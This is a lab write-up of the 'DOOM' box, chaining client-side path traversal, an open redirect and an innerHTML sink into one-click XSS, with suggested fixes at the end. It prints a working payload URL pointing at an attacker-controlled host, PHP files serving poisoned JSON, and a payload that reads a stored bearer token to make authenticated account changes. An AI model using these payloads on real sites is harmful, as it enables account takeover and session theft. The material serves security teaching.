Skip to main content

Command Palette

Search for a command to run...

DOOM — Chaining CSPT, Open Redirect, and XSS

Updated
7 min readView as Markdown
DOOM — Chaining CSPT, Open Redirect, and XSS

By Iliya Dindar

A walkthrough of the DOOM box. Three "small" bugs that mean nothing on their own, but composed together hand you a one-click XSS that runs on the victim's origin with their session in localStorage.

TL;DR

  1. The blog page reads the post slug from the URL and fetches it as GET /api/v1/blogs/${m}Client-Side Path Traversal (CSPT) lets us break out of that path.
  2. GET /api/v1/redirect?redirect_to=… blindly follows arbitrary external URLs — Open Redirect.
  3. The render function injects the response into the DOM via innerHTML, not innerText.

Chain → CSPT pivots the fetcher to the redirect endpoint, the redirect endpoint sends it to my server, my server returns JSON with a malicious blog.Content, and the page happily renders it as HTML on the target origin.

CSPT  →  Open Redirect  →  XSS

Final payload:

https://<target>/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php

Recon — Where does the blog content come from?

The blog page is fully client-rendered. Opening DevTools and pulling up the bundled JS, the interesting block is the loader for a single post:

try {
    const m = decodeURI(i),
          C = await (await fetch(`/api/v1/blogs/${m}`)).json();
    C.status === "success"
        ? o(C.data.blog)
        : N(C.data || "Failed to load blog post")
} catch {
    N("Network error. Please try again.")
} finally {
    d(!1)
}

Two things to note straight away:

  • i comes from the URL path. m = decodeURI(i) — and decodeURI does not decode %2f. That'll matter in a minute.
  • The blog object is handed to a render function o(...). Whether o writes to innerHTML or innerText decides whether this is exploitable.

A breakpoint on the line confirms the path. Visiting /blogs/1mamad gives m = "1mamad" and the fetch goes to /api/v1/blogs/1mamad. The slug is reflected straight into the URL with no filtering.

CSPT — escaping /api/v1/blogs/

Because the slug is concatenated into a path without normalization on the client, ..%2f segments are passed through to fetch and the browser resolves them as path traversal before sending the request.

/blogs/1%2f..%2f..%2fmamad
        │   │     │
        │   │     └── escape /v1/
        │   └── escape /blogs/
        └── still inside /api/v1/blogs/

So a request that looks like it's loading blog 1/..%2f..%2fmamad actually fires off GET /api/v1/mamad. CSPT confirmed — I can repoint the loader at any other endpoint under /api/.

On its own, that's a gadget looking for a sink.

The signup flow leaks a second gadget

After registering an account, I noticed a redirect helper in the signup → blogs handoff:

GET /api/v1/redirect?redirect_to=/blogs HTTP/2
Host: vu1hj6gf6w.voorivex-lab.online
Referer: https://vu1hj6gf6w.voorivex-lab.online/signup
...

First instinct: try an absolute URL — but throwing a full https://... at it gets rejected. There's a server-side check on redirect_to that looks at the prefix and bounces anything starting with http:// or https://. That filter is doing a literal scheme-prefix string match, not a real URL parse, which is the textbook way for this kind of check to fail.

A protocol-relative URL sidesteps the check entirely — //www.google.com doesn't start with http or https, but the browser still treats it as absolute and inherits the current page's scheme:

/api/v1/redirect?redirect_to=//www.google.com

Server responds with a 30x to https://www.google.com. Open Redirect — second gadget unlocked.

Open Redirect → arbitrary domain

Finding the sink — o() is innerHTML

Back to the loader. Whether this chain ends in XSS or in "well, that was a fun puzzle" hinges on what o(C.data.blog) does with .Content.

Rather than reading every minified function, I let the page tell me. Breakpoint on the call to o(), then in the debugger's scope panel I overwrote C.data.blog.Content live:

C.data.blog.Content = "<img src=x onerror=alert(origin)>"

Resume execution → alert fires showing the target's origin. The sink is innerHTML. That's the third piece.

Lesson worth repeating: don't trace minified bundles by hand if you don't have to. Break on the render call, mutate the object, resume. The DOM tells you which sink you hit.

Chaining

The three primitives:

# Primitive Where What it gives
1 CSPT fetch('/api/v1/blogs/${m}') Redirect the client-side fetch to any path under /api/v1/
2 Open Redirect /api/v1/redirect?redirect_to=… Force that fetch off-origin to my server
3 innerHTML sink o(C.data.blog) Anything I return in Content is parsed as HTML

The chain writes itself:

  1. Victim visits /blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php.
  2. The client computes fetch("/api/v1/blogs/1/../../redirect?redirect_to=//thezoro.com/lab/doom.php") → resolves to fetch("/api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php").
  3. Server replies 30x → browser follows to https://thezoro.com/lab/doom.php.
  4. My server returns JSON with status: "success" and a poisoned data.blog.Content.
  5. o() calls innerHTML with it on the target's origin. Script executes with full DOM access and access to localStorage (where the token lives).

The request the loader actually fires after redirection:

GET /api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php HTTP/2
Host: v1cyd3avx3.voorivex-lab.online
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://v1cyd3avx3.voorivex-lab.online/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php
Accept: */*
...

The hosted JSON — doom.php

Minimal PoC that proves arbitrary script execution on the target origin:

<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
    "status" => "success",
    "data" => [
        "blog" => [
            "ID" => 1,
            "Title" => "Top 10 Web Application Security Threats You Must Know in 2025",
            "Content" => "<img src='x' onerror='alert(origin)'>",
            "CreatedAt" => "2026-05-22T13:52:32Z",
            "AuthorName" => "Kael Donovan"
        ]
    ]
];
echo json_encode($response);

alert(origin) shows the target's origin, not thezoro.com — confirming the script runs in the vulnerable site's context because the DOM that wrote it lives there.

Escalation — riding the session

Since the payload runs on-origin and the auth token is stored client-side in localStorage under doom_token, account actions are one fetch away. Swapping the Content for an account-takeover primitive — overwriting the victim's bio (any authenticated PUT works the same way):

<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
    "status" => "success",
    "data" => [
        "blog" => [
            "ID" => 1,
            "Title" => "Top 10 Web Application Security Threats You Must Know in 2025",
            "Content" => "
                <img src='x' onerror='alert(origin)'>
                <img src=y onerror='
                    fetch(`https://v1cyd3avx3.voorivex-lab.online/api/v1/users/update`, {
                        method: `PUT`,
                        headers: {
                            [`Authorization`]: `Bearer ${localStorage.getItem(`doom_token`)}`,
                            [`Content-Type`]: `application/json`
                        },
                        body: JSON.stringify({ bio: `HACKED` })
                    }).then(r=>r.json()).then(d=>console.log(d))
                '>
            ",
            "CreatedAt" => "2026-05-22T13:52:32Z",
            "AuthorName" => "Kael Donovan"
        ]
    ]
];
echo json_encode($response);

Two <img onerror> payloads stacked: first to prove execution, second to read the token from localStorage and PUT it to the user-update endpoint. From here it's trivial to extend to email/password changes, session exfil, or whatever the API surface allows.

Why each layer failed

  • CSPT. Slugs that go into URL paths should be normalized (or, better, validated against a strict pattern) before being concatenated into fetch. decodeURI not touching %2f is the silent enabler.
  • Open Redirect. The redirect_to filter does a literal http:///https:// prefix string match instead of parsing the URL, so a protocol-relative //host walks straight past it. The fix is to parse the value as a URL and either match the host against an allow-list or reject anything that resolves to an external origin (and reject anything starting with / followed by another / or \).
  • innerHTML sink. Blog content from the API is trusted unconditionally and dropped into innerHTML. Either render it through innerText, or sanitize server-side with a library that strips event handlers (DOMPurify on the client is the bare minimum).

Any one of those fixes breaks the chain. None of them are present.

Wrap

The fun of this box is that none of the three bugs is severe by itself. CSPT with nowhere to pivot to is a quirk. An open redirect to an arbitrary domain on its own is medium at best. innerHTML is only a problem if you can poison what flows into it. Compose them and you get cross-origin script execution against any logged-in user with one click.

CSPT (client path traversal)
  └─→ Open Redirect (server-side, no host validation)
        └─→ Attacker-controlled JSON
              └─→ innerHTML sink
                    └─→ XSS on target origin → token theft

Iliya Dindar · iliyadindar.site